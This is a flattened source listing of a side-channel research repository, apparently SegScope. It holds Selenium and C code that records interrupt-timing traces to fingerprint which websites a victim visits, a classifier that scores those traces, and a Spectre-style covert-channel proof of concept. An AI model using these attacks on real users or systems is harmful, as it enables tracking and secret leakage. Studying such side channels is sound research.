174 | chrome_opts.binary_location = os.path.join(opts.chrome_binary_path, "chrome")
175 |
176 | chrome_opts.add_argument("--disable-dev-shm-usage")
177 | chrome_opts.add_argument("--ignore-ssl-errors")
178 | chrome_opts.add_argument("--ignore-certificate-errors")
179 |
180 | if opts.enable_cache_countermeasure:
181 | chrome_opts.add_extension(os.path.join("extensions", "cache.crx"))
182 |
183 | if opts.enable_interrupts_countermeasure:
184 | chrome_opts.add_extension(os.path.join("extensions", "interrupts.crx"))
185 |
186 | if opts.sites_list == "open_world":
187 | chrome_opts.add_argument("--disable-browser-side-navigation")
188 |
189 | if browser == Browser.CHROME:
190 | chrome_opts.add_experimental_option("excludeSwitches", ["enable-automation"])
191 | elif browser == Browser.CHROME_HEADLESS:
192 | chrome_opts.add_argument("--headless")
193 |
194 | # chromedriver needs this flag when running as root
195 | if os.geteuid() == 0 or opts.disable_chrome_sandbox:
196 | chrome_opts.add_argument("--no-sandbox")
197 |
198 | if opts.chrome_binary_path is not None:
199 | return driver_cls(options=chrome_opts, executable_path=os.path.join(opts.chrome_binary_path, "chromedriver"))
200 | else:
201 | return driver_cls(options=chrome_opts)
202 |
203 | return driver_cls()
204 |
205 | # Make sure existing processes aren't running
206 | procs = subprocess.check_output(["ps", "aux"]).decode("utf-8").split("\n")
207 |
208 | for term in ["python", "chrome", "safaridriver"]:
209 | conflicts = []
210 |
211 | for p in procs:
212 | if len(p) < 2 or not p.split()[1].isnumeric() or os.getpid() == int(p.split()[1]):
213 | continue
214 |
215 | if term.lower() in p.lower():
216 | conflicts.append(p)
217 |
218 | if len(conflicts) > 0:
219 | print()
220 | print("Processes")
221 | print("=========")
222 | print("\n".join(conflicts))
223 | confirm(f"Potentially conflicting {term} processes are currently running. OK to continue?")
224 |
225 | # Double check that we're not overwriting old data
226 | if not opts.overwrite and os.path.exists(opts.out_directory):
227 | print(f"WARNING: Data already exists at {opts.out_directory}. What do you want to do?")
228 | res = input("[A]ppend [C]ancel [O]verwrite ").lower()
229 |
230 | if res == "a":
231 | pass
232 | elif res == "o":
233 | confirm(f"WARNING: You're about to overwrite {opts.out_directory}. Are you sure?")
234 | shutil.rmtree(opts.out_directory)
235 | else:
236 | sys.exit(1)
237 | elif opts.overwrite:
238 | shutil.rmtree(opts.out_directory)
239 |
240 | if not os.path.exists(opts.out_directory):
241 | os.mkdir(opts.out_directory)
242 |
243 | # Optionally set up SMS notifications
244 | using_twilio = False
245 |
246 | if opts.twilio_interval != 0:
247 | if os.path.exists("twilio.json"):
248 | from twilio.rest import Client
249 | twilio_data = json.loads(open("twilio.json").read())
250 | twilio_client = Client(twilio_data["account_sid"], twilio_data["auth_token"])
251 | using_twilio = True
252 | else:
253 | print("WARNING: No twilio.json file found, but twilio_interval > 0. Continuing anyway.")
254 |
255 | def send_notification(message):
256 | if using_twilio:
257 | twilio_client.messages.create(
258 | body=message,
259 | from_=twilio_data["from"],
260 | to=twilio_data["to"]
261 | )
262 |
263 | if opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache" or opts.attacker_type == "sleep":
264 | # Start serving attacker app
265 | app = Flask(__name__)
266 |
267 | # Disable Flask logs
268 | os.environ["WERKZEUG_RUN_MAIN"] = "true"
269 | log = logging.getLogger("werkzeug")
270 | log.disabled = True
271 |
272 | @app.route("/")
273 | def root():
274 | return send_from_directory("attacker", "index.html")
275 |
276 | @app.route("/")
277 | def static_dir(path):
278 | return send_from_directory("attacker", path)
279 |
280 | flask_thread = threading.Thread(target=app.run, kwargs={"port": 1234})
281 | flask_thread.setDaemon(True)
282 | flask_thread.start()
283 |
284 | if opts.browser != Browser.SAFARI:
285 | attacker_browser = get_driver(opts.browser)
286 | attacker_browser.get(get_attacker_url())
287 |
288 | attacker_browser.execute_script(f"window.trace_length = {opts.trace_length * 1000}")
289 | attacker_browser.execute_script("window.using_automation_script = true")
290 |
291 | def create_browser():
292 | browser = get_driver(opts.browser)
293 | browser.set_page_load_timeout(opts.trace_length)
294 | return browser
295 |
296 |
297 | def get_time():
298 | if opts.timer_resolution is None:
299 | return time.time()
300 | else:
301 | return c_lib.timer()
302 |
303 |
304 | def collect_data(q):
305 | data = [-1] * (opts.trace_length * 1000)
306 | trace_time = get_time() * 1000
307 | idx = 0
308 | if opts.attacker_type == "tick":
309 | #print("select attacker_type=tick")
310 | while True:
311 | count_full = cdll.LoadLibrary('/home/xin/tick-count' + '/tick.so') # Need to be modified
312 |
313 |
314 |
315 | if idx >= len(data):
316 | break
317 |
318 |
319 |
320 | data[idx] = count_full.count_tick()
321 | idx += 1
322 |
323 |
324 |
325 | if opts.attacker_type == "counter":
326 | data = [-1] * (opts.trace_length * 10000)
327 | trace_time = get_time() * 10000
328 | while True:
329 | datum_time = get_time() * 10000
330 | idx = math.floor(datum_time - trace_time)
331 |
332 | if idx >= len(data):
333 | break
334 |
335 | num = 0
336 |
337 | while get_time() * 10000 - datum_time < 5:
338 | num += 1
339 |
340 | data[idx] = num
341 | elif opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache" or opts.attacker_type == "sleep":
342 | try:
343 | js_attacker_type = ("ours_cm" if opts.enable_timer_countermeasure else "ours") if opts.attacker_type == "javascript" else ("sleep" if opts.attacker_type == "sleep" else "cache")
344 | attacker_browser.execute_script(f"window.collectTrace(\"{js_attacker_type}\")")
345 | except InvalidSessionIdException:
346 | q.put([-1])
347 | return
348 |
349 | time.sleep(opts.trace_length)
350 |
351 | data = []
352 |
353 | while len(data) == 0:
354 | try:
355 | traces = attacker_browser.execute_script("return traces;")
356 |
357 | if len(traces) > 0:
358 | data = traces[0]
359 | except Exception as e:
360 | print(e)
361 | q.put([-1])
362 | return
363 | elif opts.attacker_type == "ebpf":
364 | child = subprocess.run(["sudo", "ebpf/target/release/ebpf", f"--timeout={opts.trace_length * 1000}", f"--ns-threshold={opts.ebpf_ns_threshold}"], capture_output=True)
365 | data = []
366 |
367 | lines = child.stdout.splitlines()
368 | data.append((-1, lines[0]))
369 |
370 | for line in lines[1:]:
371 | x = line.split()
372 | kind = x[0]
373 | x = list(map(lambda v: int(v), x[1:]))
374 | y = []
375 |
376 | for n in range(len(x) // 2):
377 | y.append((x[n*2], x[n*2+1]))
378 |
379 | data.append((kind, y))
380 |
381 | q.put(data)
382 |
383 |
384 | def record_trace(url):
385 | q = queue.Queue()
386 | thread = threading.Thread(target=collect_data, name="record", args=[q])
387 | thread.start()
388 |
389 | start_time = time.time()
390 |
391 | try:
392 | browser.get(url)
393 | except TimeoutException:
394 | # Called when Selenium stops loading after the length of the trace
395 | pass
396 | except (MaxRetryError, ProtocolError):
397 | # Usually called on CTRL+C
398 | return None
399 | except Exception as e:
400 | print(type(e).__name__, e)
401 | return None
402 |
403 | sleep_time = opts.trace_length - (time.time() - start_time)
404 |
405 | if sleep_time > 0:
406 | time.sleep(sleep_time)
407 |
408 | thread.join()
409 | results = [q.get()]
410 |
411 | if len(results[0]) == 1 and results[0][0] == -1:
412 | return None
413 |
414 | if opts.browser == Browser.SAFARI and (opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache"):
415 | browser.close()
416 |
417 | return results
418 |
419 |
420 | recording = True
421 |
422 |
423 | def signal_handler(sig, frame):
424 | global recording
425 | recording = False
426 | print("Wrapping up...")
427 |
428 |
429 | signal.signal(signal.SIGINT, signal_handler)
430 | using_custom_site = False
431 |
432 |
433 | if opts.sites_list.startswith("alexa"):
434 | n = int(opts.sites_list.replace("alexa", ""))
435 |
436 | if n > 100:
437 | print("For sites_list, n must be less than or equal to 100.")
438 | sys.exit(1)
439 |
440 | domains = pd.read_csv(os.path.join("sites", "closed_world.csv"))["domain"].tolist()
441 | domains = [f"https://{x}" if "http://" not in x else x for x in domains]
442 | domains = domains[:n]
443 | elif opts.sites_list == "open_world":
444 | domains = pd.read_csv(os.path.join("sites", "open_world.csv"))["domain"].tolist()
445 | domains = [f"https://{x}" for x in domains]
446 | else:
447 | domains = opts.sites_list.split(",")
448 | domains = [f"https://{x}" for x in domains]
449 | using_custom_site = True
450 |
451 |
452 | def should_skip(domain):
453 | out_f_path = os.path.join(opts.out_directory, f"{domain.replace('https://', '').replace('http://', '').replace('www.', '')}.pkl")
454 |
455 | if os.path.exists(out_f_path):
456 | f = open(out_f_path, "rb")
457 | num_runs = 0
458 |
459 | while True:
460 | try:
461 | pickle.load(f)
462 | num_runs += 1
463 | except:
464 | break
465 |
466 | if num_runs == opts.num_runs:
467 | return True
468 |
469 | return False
470 |
471 |
472 | def run(domain, update_fn=None):
473 | out_f_path = os.path.join(opts.out_directory, f"{domain.replace('https://', '').replace('http://', '').replace('www.', '')}.pkl")
474 | out_f_path='/home/xin/tick-count/'+out_f_path
475 | out_f = open(out_f_path, "wb")
476 | i = 0
477 |
478 | # Add one so that we can have a first run where the site gets cached.
479 | while i < opts.num_runs + 1:
480 | if not recording:
481 | break
482 |
483 | if opts.browser == Browser.SAFARI and (opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache"):
484 | pass
485 | else:
486 | try:
487 | browser.get(opts.browser.get_new_tab_url())
488 | except:
489 | pass
490 |
491 | trace = record_trace(domain)
492 |
493 | if trace is None:
494 | out_f.close()
495 | return False
496 |
497 | if i > 0 or opts.sites_list == "open_world":
498 | # Don't save first run -- site needs to be cached.
499 | data = (trace, domain)
500 |
501 | # Save data to output file incrementally -- this allows us to save much
502 | # more data than fits in RAM.
503 | pickle.dump(data, out_f)
504 |
505 | if update_fn is not None:
506 | update_fn()
507 |
508 | if opts.sites_list == "open_world":
509 | break
510 |
511 | i += 1
512 |
513 | out_f.close()
514 | return True
515 |
516 | browser = None
517 | total_traces = opts.num_runs * len(domains)
518 |
519 | with tqdm(total=total_traces) as pbar:
520 | if using_twilio:
521 | notify_interval = opts.twilio_interval * total_traces
522 | last_notification = 0
523 |
524 | traces_collected = 0
525 |
526 | def post_trace_collection():
527 | global traces_collected, notify_interval, last_notification
528 |
529 | pbar.update(1)
530 | traces_collected += 1
531 |
532 | if using_twilio and traces_collected >= last_notification + notify_interval:
533 | send_notification(f"{twilio_data['name']} is done with {traces_collected / total_traces * 100:.0f}% of its current job!")
534 | last_notification = traces_collected
535 |
536 | for i, domain in enumerate(domains):
537 | if not recording:
538 | break
539 | elif should_skip(domain):
540 | continue
541 |
542 | if opts.browser == Browser.SAFARI and (opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache") and browser is not None:
543 | # Don't create a new browser in this case -- we will open a new
544 | # window instead due to limitations in safaridriver.
545 | pass
546 | else:
547 | browser = create_browser()
548 |
549 | if opts.browser == Browser.SAFARI:
550 | attacker_browser = browser
551 |
552 | success = run(domain, update_fn=post_trace_collection)
553 |
554 | if success:
555 | if opts.sites_list == "open_world" and traces_collected == 5000:
556 | break
557 |
558 | pbar.n = (i + 1) * opts.num_runs
559 | pbar.refresh()
560 |
561 | browser.quit()
562 |
563 | if opts.attacker_type == "javascript" or opts.attacker_type == "javascript_cache" or opts.attacker_type == "sleep":
564 | attacker_browser.quit()
565 |
566 | if opts.sites_list == "open_world":
567 | browser.quit()
568 |
569 | if opts.browser == Browser.SAFARI:
570 | try:
571 | browser.driver.quit()
572 | except:
573 | os.system("killall Safari")
574 |
575 | if using_twilio:
576 | send_notification(f"{twilio_data['name']} is done with its job!")
577 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/requirements.txt:
--------------------------------------------------------------------------------
1 | Flask==2.1.2
2 | numpy==1.21.0
3 | pandas==1.2.5
4 | psutil==5.8.0
5 | requests==2.27.1
6 | scikit-learn==0.24.2
7 | selenium==3.141.0
8 | tqdm==4.61.1
9 |
10 | # analysis
11 | matplotlib==3.4.2
12 | jupyter==1.0.0
13 |
14 | # optional
15 | twilio==6.61.0
16 |
17 | # pytorch
18 | torch==1.13.0
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/scripts/check_results.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import numpy as np
3 | import pickle
4 | import os
5 | import warnings
6 |
7 | warnings.filterwarnings("ignore")
8 |
9 | from sklearn.ensemble import RandomForestClassifier
10 | from sklearn.metrics import top_k_accuracy_score
11 | from sklearn.model_selection import train_test_split
12 | from tqdm import trange
13 |
14 | parser = argparse.ArgumentParser()
15 | parser.add_argument("--data_file", default="data", type=str)
16 | parser.add_argument("--n", default=10, type=int)
17 | parser.add_argument("--test_size", default=0.25, type=float)
18 | opts = parser.parse_args()
19 |
20 | def get_data(path):
21 | # Data preparation
22 | traces = []
23 | labels = []
24 |
25 | if os.path.isdir(path):
26 | # If directory, find all .pkl files
27 | filepaths = [os.path.join(path, x) for x in os.listdir(path) if x.endswith(".pkl")]
28 | elif os.path.isfile(path):
29 | # If single file, just use this one
30 | filepaths = [path]
31 | else:
32 | raise RuntimeError
33 |
34 | for file in filepaths:
35 | f = open(file, "rb")
36 |
37 | while True:
38 | try:
39 | data = pickle.load(f)
40 | traces_i, labels_i = data[0], data[1]
41 |
42 | if isinstance(traces_i[0], list):
43 | traces.extend(traces_i)
44 | else:
45 | traces.append(traces_i)
46 |
47 | labels.append(labels_i)
48 | except EOFError:
49 | break
50 |
51 | traces = np.array(traces)
52 |
53 | # Convert labels from domain names to ints
54 | domains = list(set(labels))
55 | int_mapping = {x: i for i, x in enumerate(domains)}
56 | labels = [int_mapping[x] for x in labels]
57 | labels = np.array(labels)
58 |
59 | return traces, labels, domains
60 |
61 |
62 | def get_accs(X, y, domains):
63 | X_train, X_test, y_train, y_test = train_test_split(
64 | X, y, test_size=opts.test_size, stratify=y)
65 |
66 | clf = RandomForestClassifier()
67 | clf = clf.fit(X_train, y_train)
68 |
69 | y_probs = clf.predict_proba(X_test)
70 | top1 = top_k_accuracy_score(y_test, y_probs, k=1)
71 | top5 = top_k_accuracy_score(y_test, y_probs, k=5)
72 |
73 | return [top1, top5]
74 |
75 | print(f"Analyzing results from {opts.data_file}")
76 |
77 | X, y, domains = get_data(opts.data_file)
78 | accs = np.array([get_accs(X, y, domains) for _ in trange(opts.n)])
79 | print()
80 |
81 | top1 = accs[:, 0].mean()
82 | top1_std = accs[:, 0].std()
83 |
84 | top5 = accs[:, 1].mean()
85 | top5_std = accs[:, 1].std()
86 |
87 | print(f"Number of traces: {len(X)}")
88 | print()
89 | print("top1 accuracy: {:.1f}% (+/- {:.1f}%)".format(top1 * 100, top1_std * 100))
90 | print("top5 accuracy: {:.1f}% (+/- {:.1f}%)".format(top5 * 100, top5_std * 100))
91 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/scripts/gen_open_world.py:
--------------------------------------------------------------------------------
1 | import numpy as np
2 | import os
3 | import pandas as pd
4 | import urllib.request
5 | import zipfile
6 |
7 | alexa_domains = [
8 | "google",
9 | "youtube",
10 | "tmall",
11 | "qq",
12 | "baidu",
13 | "sohu",
14 | "facebook",
15 | "taobao",
16 | "jd",
17 | "amazon",
18 | "yahoo",
19 | "wikipedia.org",
20 | "weibo",
21 | "sina.com.cn",
22 | "zoom.us",
23 | "http://www.xinhuanet.com",
24 | "live",
25 | "reddit",
26 | "netflix",
27 | "microsoft",
28 | "instagram",
29 | "office",
30 | "!panda.tv",
31 | "zhanqi.tv",
32 | "alipay",
33 | "bing",
34 | "csdn.net",
35 | "vk",
36 | "myshopify",
37 | "naver",
38 | "okezone",
39 | "twitch.tv",
40 | "twitter",
41 | "ebay",
42 | "adobe",
43 | "tianya.cn",
44 | "huanqiu",
45 | "yy",
46 | "aliexpress",
47 | "linkedin",
48 | "force",
49 | "aparat",
50 | "mail.ru",
51 | "msn",
52 | "dropbox",
53 | "whatsapp",
54 | "apple",
55 | "1688",
56 | "wordpress",
57 | "canva",
58 | "indeed",
59 | "stackoverflow",
60 | "ok.ru",
61 | "so",
62 | "chase",
63 | "imdb",
64 | "slack",
65 | "etsy",
66 | "tiktok",
67 | "booking",
68 | "babytree",
69 | "rakuten.co.jp",
70 | "salesforce",
71 | "spotify",
72 | "tribunnews",
73 | "fandom",
74 | "tradingview",
75 | "github",
76 | "haosou",
77 | "paypal",
78 | "cnblogs",
79 | "alibaba",
80 | "kompas",
81 | "gome.com.cn",
82 | "walmart",
83 | "roblox",
84 | "6.cn",
85 | "zillow",
86 | "godaddy",
87 | "imgur",
88 | "espn",
89 | "bbc",
90 | "hao123",
91 | "pikiran-rakyat",
92 | "grammarly",
93 | "cnn",
94 | "telegram.org",
95 | "tumblr",
96 | "nytimes",
97 | "detik",
98 | "wetransfer",
99 | "savefrom.net",
100 | "rednet.cn",
101 | "freepik",
102 | "ilovepdf",
103 | "daum.net",
104 | "pinterest",
105 | "primevideo",
106 | "intuit",
107 | "medium"
108 | ]
109 |
110 | if not os.path.exists("top-1m.csv"):
111 | urllib.request.urlretrieve("http://s3.amazonaws.com/alexa-static/top-1m.csv.zip", "top-1m.csv.zip")
112 |
113 | with zipfile.ZipFile("top-1m.csv.zip") as z:
114 | z.extractall()
115 |
116 | existing_domains = domains = [f"{x.replace('!', '')}{'.com' if '.' not in x else ''}" for x in alexa_domains]
117 | existing_names = set([x.replace("!", "").split(".")[0] for x in alexa_domains])
118 |
119 | open_world_domains = []
120 |
121 | df = pd.read_csv("top-1m.csv", header=None, names=["rank", "domain"])
122 |
123 | for i in range(len(df)):
124 | domain = df.iloc[i]["domain"]
125 |
126 | if domain in existing_domains:
127 | continue
128 | elif domain.split(".")[0] in existing_names:
129 | continue
130 | else:
131 | open_world_domains.append(domain)
132 | existing_names.add(domain.split(".")[0])
133 |
134 | # Provide extra sites (we only need 5000) in case some sites have errors
135 | if len(open_world_domains) == 6000:
136 | break
137 |
138 | pd.Series(open_world_domains).to_csv("open_world.csv", header=["domain"], index=False)
139 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/scripts/load_irqbalance_config.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import json
3 | import os
4 | import sys
5 |
6 | parser = argparse.ArgumentParser()
7 | parser.add_argument("--config_path", type=str)
8 | parser.add_argument("--cpu", default=-1, type=int)
9 | opts = parser.parse_args()
10 |
11 | if opts.cpu == -1 and opts.config_path is None:
12 | print("At least one of cpu or config_path must be set")
13 | sys.exit(1)
14 |
15 | def update_smp_affinity(i, val):
16 | try:
17 | with open(f"/proc/irq/{i}/smp_affinity", "w") as f:
18 | f.write(val)
19 | except Exception as e:
20 | print(f"fail {i}")
21 | pass
22 |
23 | if opts.cpu == -1:
24 | data = json.loads(open(f"{opts.config_path}.json", "r").read())
25 |
26 | for k in data:
27 | update_smp_affinity(k, data[k])
28 | else:
29 | for path in os.listdir("/proc/irq"):
30 | if not path.isnumeric():
31 | continue
32 |
33 | update_smp_affinity(path, str(1 << opts.cpu))
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/scripts/receiver.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 | if "DISPLAY" not in os.environ:
4 | os.environ["DISPLAY"] = ":0"
5 |
6 | import argparse
7 | import socket
8 |
9 | from selenium import webdriver
10 | from urllib.parse import urlparse
11 |
12 | parser = argparse.ArgumentParser()
13 | parser.add_argument("--trace_length", type=int, default=15)
14 | opts = parser.parse_args()
15 |
16 | driver = webdriver.Chrome()
17 |
18 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
20 | s.bind(("0.0.0.0", 1234))
21 | s.listen(1)
22 |
23 | print("Waiting for connection...")
24 | conn, _ = s.accept()
25 |
26 | print("Connected successfully!")
27 |
28 | while True:
29 | chunk = conn.recv(1024)
30 |
31 | if not chunk:
32 | driver.quit()
33 | break
34 |
35 | msgs = chunk.decode("utf-8").split("\n")
36 |
37 | for domain in msgs:
38 | if len(domain) == 0:
39 | continue
40 |
41 | data = urlparse(domain)
42 |
43 | if data.scheme == "biggerfish":
44 | if data.netloc == "restart":
45 | driver.quit()
46 | driver = webdriver.Chrome()
47 | elif data.netloc == "set-timeout":
48 | driver.set_page_load_timeout(int(data.path[1:]))
49 | elif data.netloc == "new-tab":
50 | domain = "chrome://new-tab-page"
51 |
52 | try:
53 | driver.get(domain)
54 | except:
55 | pass
56 |
57 | conn.close()
58 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/scripts/save_irqbalance_config.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import json
3 | import os
4 | import subprocess
5 |
6 | parser = argparse.ArgumentParser()
7 | parser.add_argument("--out_filename", type=str, required=True)
8 | opts = parser.parse_args()
9 |
10 | data = {}
11 |
12 | for path in os.listdir("/proc/irq"):
13 | if not path.isnumeric():
14 | continue
15 |
16 | data[path] = open(f"/proc/irq/{path}/smp_affinity").read().strip()
17 |
18 | with open(f"{opts.out_filename}.json", "w") as f:
19 | f.write(json.dumps(data, indent=4, sort_keys=True))
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/sites/closed_world.csv:
--------------------------------------------------------------------------------
1 | domain
2 | www.google.com
3 | www.youtube.com
4 | www.tmall.com
5 | www.qq.com
6 | www.baidu.com
7 | www.sohu.com
8 | www.facebook.com
9 | www.taobao.com
10 | www.jd.com
11 | www.amazon.com
12 | www.yahoo.com
13 | www.wikipedia.org
14 | www.weibo.com
15 | sina.com.cn
16 | www.zoom.us
17 | http://www.xinhuanet.com
18 | www.live.com
19 | www.reddit.com
20 | www.netflix.com
21 | www.microsoft.com
22 | www.instagram.com
23 | www.office.com
24 | panda.tv
25 | www.zhanqi.tv
26 | www.alipay.com
27 | www.bing.com
28 | www.csdn.net
29 | www.vk.com
30 | www.myshopify.com
31 | www.naver.com
32 | www.okezone.com
33 | www.twitch.tv
34 | www.twitter.com
35 | www.ebay.com
36 | www.adobe.com
37 | www.tianya.cn
38 | www.huanqiu.com
39 | www.yy.com
40 | www.aliexpress.com
41 | www.linkedin.com
42 | www.force.com
43 | www.aparat.com
44 | www.mail.ru
45 | www.msn.com
46 | www.dropbox.com
47 | www.whatsapp.com
48 | www.apple.com
49 | www.1688.com
50 | www.wordpress.com
51 | www.canva.com
52 | www.indeed.com
53 | www.stackoverflow.com
54 | www.ok.ru
55 | www.so.com
56 | www.chase.com
57 | www.imdb.com
58 | www.slack.com
59 | www.etsy.com
60 | www.tiktok.com
61 | www.booking.com
62 | www.babytree.com
63 | rakuten.co.jp
64 | www.salesforce.com
65 | www.spotify.com
66 | www.tribunnews.com
67 | www.fandom.com
68 | www.tradingview.com
69 | www.github.com
70 | www.haosou.com
71 | www.paypal.com
72 | www.cnblogs.com
73 | www.alibaba.com
74 | www.kompas.com
75 | gome.com.cn
76 | www.walmart.com
77 | www.roblox.com
78 | www.6.cn
79 | www.zillow.com
80 | www.godaddy.com
81 | www.imgur.com
82 | www.espn.com
83 | www.bbc.com
84 | www.hao123.com
85 | www.pikiran-rakyat.com
86 | www.grammarly.com
87 | www.cnn.com
88 | www.telegram.org
89 | www.tumblr.com
90 | www.nytimes.com
91 | www.detik.com
92 | www.wetransfer.com
93 | www.savefrom.net
94 | www.rednet.cn
95 | www.freepik.com
96 | www.ilovepdf.com
97 | www.daum.net
98 | www.pinterest.com
99 | www.primevideo.com
100 | www.intuit.com
101 | www.medium.com
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/tick.c:
--------------------------------------------------------------------------------
1 | /*
2 | *use a whole time slice to count;
3 | */
4 |
5 | #define _GNU_SOURCE
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 | #include
18 | #include
19 |
20 | int inter_count[100001], cycles;
21 | double score[512] = {0};
22 |
23 | extern char stopspeculate[];
24 |
25 | void prepare()
26 | {
27 | uint16_t value = 1;
28 | __asm__ volatile("mov %0, %%gs" : : "r"(value));
29 | }
30 |
31 | uint16_t check()
32 | {
33 | uint16_t value;
34 | __asm__ volatile("mov %%gs, %0" : "=r"(value));
35 | return value;
36 | }
37 |
38 | int multiply(int num1, int num2)
39 | {
40 | return num1 * num2;
41 | }
42 | static void pin_cpu3()
43 | {
44 | cpu_set_t mask;
45 |
46 | /* PIN to CPU0 */
47 | CPU_ZERO(&mask);
48 | CPU_SET(3, &mask);
49 | sched_setaffinity(0, sizeof(cpu_set_t), &mask);
50 | }
51 | int count_tick()
52 | {
53 | int ret, i, count;
54 | cpu_set_t get;
55 | CPU_ZERO(&get);
56 | pin_cpu3();
57 |
58 | if (sched_getaffinity(0, sizeof(get), &get) == -1)
59 | {
60 | printf("warning: can not get cpu affinity/n");
61 | }
62 |
63 | prepare();
64 |
65 | while (check() == 1)
66 | {
67 | count++;
68 | }
69 |
70 | return count;
71 | }
72 |
73 | static char *progname;
74 |
75 | int usage(void)
76 | {
77 | printf("%s: [cycles]\n", progname);
78 | return 1;
79 | }
80 |
81 | int main(int argc, char *argv[])
82 | {
83 | int ret, i;
84 | cpu_set_t get;
85 | CPU_ZERO(&get);
86 | progname = argv[0];
87 | if (argc < 2)
88 | return usage();
89 |
90 | pin_cpu3();
91 |
92 | if (sched_getaffinity(0, sizeof(get), &get) == -1)
93 | {
94 | printf("warning: can not get cpu affinity/n");
95 | }
96 |
97 | for (int i = 0; i < 8; i++)
98 | {
99 | if (CPU_ISSET(i, &get))
100 | {
101 | printf("this thread %d is running on processor %d\n", gettid(), i);
102 | }
103 | }
104 | return 0;
105 | }
106 |
--------------------------------------------------------------------------------
/E1-Fingerprinting_Websites/visualization.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/visualization.png
--------------------------------------------------------------------------------
/E2-Enhancing_Spectral/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc main.c -lpthread -o main -static -lm -O0
3 | clean:
4 | rm -f main
5 |
6 |
--------------------------------------------------------------------------------
/E2-Enhancing_Spectral/README.md:
--------------------------------------------------------------------------------
1 | # Enhancing Spectral attack
2 | [Spectral attack](https://github.com/cispa/mwait/tree/main/spectral) is badly noised by interrupts. However, SegScope can filter the noised measurements.
3 |
4 | Build our code
5 | ```
6 | make
7 | ```
8 |
9 | Quick test for the attack. Every second it outputs the leakage rate, error rate, and true capacity. An optional parameter can be provided to stop the experiment after N seconds: ./main N. If this parameter is provided, it outputs the last leakage rate, error rate, and true capacity as CSVs.
10 | ```
11 | ./main
12 | ```
13 |
14 | Expected results are as follows. The program outputs the error rate of original spectral(%), speed, channel_capacity, number of interrupted measuments, and the error rate of our **enhanced spectral**(%). Clearly, SegScope reduces the error rate from 0.559% to 0.098%.
15 | ```
16 | 0.559,53889,51200.8,irq=750 ,after_filter:0.098
17 | ```
18 |
19 |
20 | Evaluate the leakage rate for different umwait timeouts from 1000 to 200000. The result is stored in log.csv.
21 | ```
22 | ./test.sh
23 | ```
24 |
25 | Expected results are as follows:
26 | ```
27 | 93000,0.513,57350,54690.3,irq=735 ,after_filter:0.099
28 | 94000,0.478,56791,54306.1,irq=689 ,after_filter:0.101
29 | 95000,0.415,56085,53908.9,irq=673 ,after_filter:0.099
30 | 96000,0.487,55597,53128.1,irq=728 ,after_filter:0.066
31 | 97000,0.485,54989,52555.1,irq=724 ,after_filter:0.065
32 | 98000,0.450,54529,52263.2,irq=673 ,after_filter:0.099
33 | 99000,0.455,54238,51961.2,irq=673 ,after_filter:0.098
34 | 100000,0.559,53889,51200.8,irq=750 ,after_filter:0.098
35 | 101000,0.561,52909,50263.6,irq=745 ,after_filter:0.098
36 | 102000,0.486,52575,50242.5,irq=719 ,after_filter:0.066
37 | 103000,0.540,51989,49468.4,irq=728 ,after_filter:0.096
38 | 104000,0.567,51780,49166.2,irq=741 ,after_filter:0.101
39 | 105000,0.548,51431,48907.2,irq=748 ,after_filter:0.064
40 | ```
41 |
42 | In our previous experiments, we found that the speculation window is not long enough in certain CPU to complete a transient write (such as modifying a cacheline). These CPUs are unlikely to reproduce original Spectral attack. However, arch-write.c can be used to test how segscope can filter the interrupted measurements. In arch-write.c, we directly modify the corresponding cacheline based on the secret value.
43 |
44 | ```
45 | gcc arch-write.c -lpthread -o arch -static -lm -O0
46 |
47 | ./arch
48 | ```
49 |
--------------------------------------------------------------------------------
/E2-Enhancing_Spectral/arch-write.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 | #include
3 | #include
4 |
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include "cacheutils.h"
15 |
16 | #define CORE_VICTIM 14
17 | #define CORE_ATTACKER 15
18 |
19 | #define OFFSET (64)
20 |
21 | // #define ftime(x) (rdtsc() / 3200000000ul)
22 | #define ftime time
23 |
24 | volatile int running = 1;
25 |
26 | volatile unsigned int array1_size = 16;
27 | uint8_t __attribute__((aligned(4096))) array1[160] = {
28 | 2,
29 | 2,
30 | };
31 | __attribute__((aligned(4096))) char test[4096 * 256];
32 |
33 | volatile uint8_t temp = 0;
34 |
35 | char secret[] = {0, 1, 1, 0, 0, 1, 0, 1};
36 |
37 | void __attribute__((noinline)) victim_function(size_t x)
38 | {
39 | temp &= array1[x] * 4096;
40 | if (x < array1_size)
41 | {
42 | test[array1[x] * OFFSET] = 1;
43 | }
44 | }
45 |
46 | void leakBit(size_t target_addr)
47 | {
48 | int tries = 0, i, j, k, mix_i;
49 | size_t training_x, x;
50 |
51 | test[secret[target_addr] * 4096] ^= 1;
52 | asm volatile("mfence");
53 | }
54 |
55 | void pin_to_core(int core)
56 | {
57 | cpu_set_t cpuset;
58 | pthread_t thread;
59 |
60 | thread = pthread_self();
61 |
62 | CPU_ZERO(&cpuset);
63 | CPU_SET(core, &cpuset);
64 |
65 | pthread_setaffinity_np(thread, sizeof(cpu_set_t), &cpuset);
66 | }
67 |
68 | volatile char waiting = 0;
